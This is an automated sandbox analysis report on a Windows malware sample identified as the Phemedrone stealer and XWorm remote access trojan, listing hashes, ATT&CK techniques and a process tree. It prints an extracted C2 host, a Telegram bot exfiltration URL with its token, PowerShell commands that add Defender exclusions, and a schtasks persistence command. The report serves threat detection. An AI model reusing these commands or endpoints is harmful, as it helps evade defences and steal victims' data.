phemedrone | 1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72

Analysis

max time kernel
122s
max time network
154s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
28/08/2024, 16:51

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General

Target

1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe
Size

296KB
MD5

7c43de969f5117062f9e2aff9c32b5c8
SHA1

5887cd36102f856abf27e885c3c10e78ca8032a4
SHA256

1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72
SHA512

30004800e2b002e4b1f1c6bbdc4fc8a00d5f56ddb859b1047fcce63dd14ca51cc3ef9d7599b440b9795e3587b6af333728d75bd37ae5004ef3189f530ef6eebd
SSDEEP

6144:clGtyUXasfHznB3XjdOwkL1xOh9XLpf6TUIa1bq/KMw:cJUXBB3zEjLPUf6J

Score

10^/10

phemedrone xworm credential_access execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:19121

goods-flex.gl.at.ply.gg:19121

Attributes

Install_directory
%Public%
install_file
calc.exe

Extracted

Family

phemedrone

https://api.telegram.org/bot6766891578:AAE47sIyviQ0_skRFQtvxeYcndg1C8RFyo4/sendDocument

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/files/0x000a000000016d60-27.dat	family_xworm
behavioral1/memory/3016-29-0x0000000000020000-0x0000000000038000-memory.dmp	family_xworm
behavioral1/memory/1232-73-0x0000000000280000-0x0000000000298000-memory.dmp	family_xworm
behavioral1/memory/2816-76-0x0000000001190000-0x00000000011A8000-memory.dmp	family_xworm

Phemedrone
An information and wallet stealer written in C#.
stealer phemedrone
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1708	powershell.exe
2664	powershell.exe
2776	powershell.exe
2492	powershell.exe
2600	powershell.exe
3028	powershell.exe
1848	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.lnk	calcc.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.lnk	calcc.exe

Executes dropped EXE 5 IoCs

pid	Process
2540	launcher.exe
3016	calcc.exe
652	Sync Center.exe
1232	calc.exe
2816	calc.exe

Loads dropped DLL 2 IoCs

pid	Process
2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe
2536	Process not Found

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows\CurrentVersion\Run\calc = "C:\\Users\\Public\\calc.exe"	calcc.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2860	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2664	powershell.exe
2776	powershell.exe
2492	powershell.exe
652	Sync Center.exe
2600	powershell.exe
3028	powershell.exe
1848	powershell.exe
1708	powershell.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	3016	calcc.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeDebugPrivilege	652	Sync Center.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	3016	calcc.exe
Token: SeDebugPrivilege	1232	calc.exe
Token: SeDebugPrivilege	2816	calc.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2436 wrote to memory of 2664	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	31
PID 2436 wrote to memory of 2664	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	31
PID 2436 wrote to memory of 2664	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	31
PID 2436 wrote to memory of 2540	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	33
PID 2436 wrote to memory of 2540	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	33
PID 2436 wrote to memory of 2540	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	33
PID 2436 wrote to memory of 2776	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	35
PID 2436 wrote to memory of 2776	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	35
PID 2436 wrote to memory of 2776	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	35
PID 2540 wrote to memory of 2544	2540	launcher.exe	37
PID 2540 wrote to memory of 2544	2540	launcher.exe	37
PID 2540 wrote to memory of 2544	2540	launcher.exe	37
PID 2436 wrote to memory of 3016	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	38
PID 2436 wrote to memory of 3016	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	38
PID 2436 wrote to memory of 3016	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	38
PID 2436 wrote to memory of 2492	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	39
PID 2436 wrote to memory of 2492	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	39
PID 2436 wrote to memory of 2492	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	39
PID 2436 wrote to memory of 652	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	41
PID 2436 wrote to memory of 652	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	41
PID 2436 wrote to memory of 652	2436	1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe	41
PID 3016 wrote to memory of 2600	3016	calcc.exe	42
PID 3016 wrote to memory of 2600	3016	calcc.exe	42
PID 3016 wrote to memory of 2600	3016	calcc.exe	42
PID 3016 wrote to memory of 3028	3016	calcc.exe	44
PID 3016 wrote to memory of 3028	3016	calcc.exe	44
PID 3016 wrote to memory of 3028	3016	calcc.exe	44
PID 3016 wrote to memory of 1848	3016	calcc.exe	46
PID 3016 wrote to memory of 1848	3016	calcc.exe	46
PID 3016 wrote to memory of 1848	3016	calcc.exe	46
PID 3016 wrote to memory of 1708	3016	calcc.exe	48
PID 3016 wrote to memory of 1708	3016	calcc.exe	48
PID 3016 wrote to memory of 1708	3016	calcc.exe	48
PID 3016 wrote to memory of 2860	3016	calcc.exe	50
PID 3016 wrote to memory of 2860	3016	calcc.exe	50
PID 3016 wrote to memory of 2860	3016	calcc.exe	50
PID 652 wrote to memory of 1908	652	Sync Center.exe	52
PID 652 wrote to memory of 1908	652	Sync Center.exe	52
PID 652 wrote to memory of 1908	652	Sync Center.exe	52
PID 2404 wrote to memory of 1232	2404	taskeng.exe	54
PID 2404 wrote to memory of 1232	2404	taskeng.exe	54
PID 2404 wrote to memory of 1232	2404	taskeng.exe	54
PID 2404 wrote to memory of 2816	2404	taskeng.exe	55
PID 2404 wrote to memory of 2816	2404	taskeng.exe	55
PID 2404 wrote to memory of 2816	2404	taskeng.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe
"C:\Users\Admin\AppData\Local\Temp\1c742cf055297ced1f29fa5779cfa2c9c53fc64d945d6edd7330beb5f0d88a72.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\launcher.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2664
- C:\Users\Admin\AppData\Local\Temp\launcher.exe
  "C:\Users\Admin\AppData\Local\Temp\launcher.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c pause
    3⤵
    PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\calcc.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Users\Admin\AppData\Local\Temp\calcc.exe
  "C:\Users\Admin\AppData\Local\Temp\calcc.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\calcc.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'calcc.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\calc.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'calc.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1708
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "calc" /tr "C:\Users\Public\calc.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Sync Center.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2492
- C:\Users\Admin\AppData\Local\Temp\Sync Center.exe
  "C:\Users\Admin\AppData\Local\Temp\Sync Center.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:652
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 652 -s 664
    3⤵
    PID:1908

C:\Windows\system32\taskeng.exe
taskeng.exe {435E1AD2-A131-4D70-8D26-0FD943CECA5A} S-1-5-21-2212144002-1172735686-1556890956-1000:MVFYZPLM\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Users\Public\calc.exe
  C:\Users\Public\calc.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1232
- C:\Users\Public\calc.exe
  C:\Users\Public\calc.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Sync Center.exe

Filesize
121KB

MD5
7b6c19c2c8fc4ff9cc5b136f22cf490d

SHA1
e557a697a268c54a73aaffd02d25e54c4f601719

SHA256
cf6c9880812d48fe7ba3a1d1a1692a881745a7fb8cf6534f94555dd7dd1c3353

SHA512
afe23d16011e1eb71ce3be9f8796cf0398cc9e01415c93cd4e8403f1ee84f48e23396ab7709b60d5a9e5b3e5daee9e8f90bae99e6a85ece6475fa8bdd82f953b

Download Submit
C:\Users\Admin\AppData\Local\Temp\calcc.exe

Filesize
71KB

MD5
36686a659c023c60d85630ef9080ee34

SHA1
c26facc03073d700fc65af33eb2d8a6215f065b6

SHA256
eadd6fd65960900c14dd8e18a16348ec4c6f766e6316428f8cf659d02b43fb49

SHA512
236eab23ae8a565532ffd063a7e31ecc9aa835c63ca243c15ddba652f639dc5249589340812299e523156ac8695571877d1af78c2a481f0b2527d90aa00c3587

Download Submit
C:\Users\Admin\AppData\Local\Temp\launcher.exe

Filesize
251KB

MD5
f71fc206efa0533dc5a9bdce59fd342e

SHA1
077e3d50d9db91cb943c6dcdfb8913b6b4e8bfda

SHA256
98d7a0cf5249443da87cc97998d885ed9811bd0790d49c8ee45577e54296acc6

SHA512
2913315fdc26efced8114173761a20c52705778d8fe65a84fc6ca99e8218bf85eabec67a4693dfa9e57596d9e85597aca0d7fafc18b649a2c7b0fa71062daa8e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3730ba447b8ede6ba1c577653e4acacc

SHA1
8a6bc4871ce744c0bf556bf0bf1f0fa56619bf94

SHA256
16762dd2194dc70e264e3ae8ba3830587cee3e3a73125b014dfec0bead76298e

SHA512
976d4b17d2359047eeac9f30dfad8326865821267fb97b33283f94379fc2b8ccfcad977d8842955c557672686f42defa82cf5bed3202c3c975d1ad442c92f254

Download Submit
memory/652-40-0x0000000001230000-0x0000000001254000-memory.dmp

Filesize
144KB

Download
memory/1232-73-0x0000000000280000-0x0000000000298000-memory.dmp

Filesize
96KB

Download
memory/2436-0-0x000007FEF5423000-0x000007FEF5424000-memory.dmp

Filesize
4KB

Download
memory/2436-4-0x000007FEF5420000-0x000007FEF5E0C000-memory.dmp

Filesize
9.9MB

Download
memory/2436-3-0x000007FEF5423000-0x000007FEF5424000-memory.dmp

Filesize
4KB

Download
memory/2436-41-0x000007FEF5420000-0x000007FEF5E0C000-memory.dmp

Filesize
9.9MB

Download
memory/2436-2-0x000007FEF5420000-0x000007FEF5E0C000-memory.dmp

Filesize
9.9MB

Download
memory/2436-1-0x00000000002A0000-0x00000000002F0000-memory.dmp

Filesize
320KB

Download
memory/2664-9-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/2664-10-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2776-23-0x0000000002370000-0x0000000002378000-memory.dmp

Filesize
32KB

Download
memory/2776-22-0x000000001B3B0000-0x000000001B692000-memory.dmp

Filesize
2.9MB

Download
memory/2816-76-0x0000000001190000-0x00000000011A8000-memory.dmp

Filesize
96KB

Download
memory/3016-29-0x0000000000020000-0x0000000000038000-memory.dmp

Filesize
96KB

Download
memory/3028-53-0x00000000023F0000-0x00000000023F8000-memory.dmp

Filesize
32KB

Download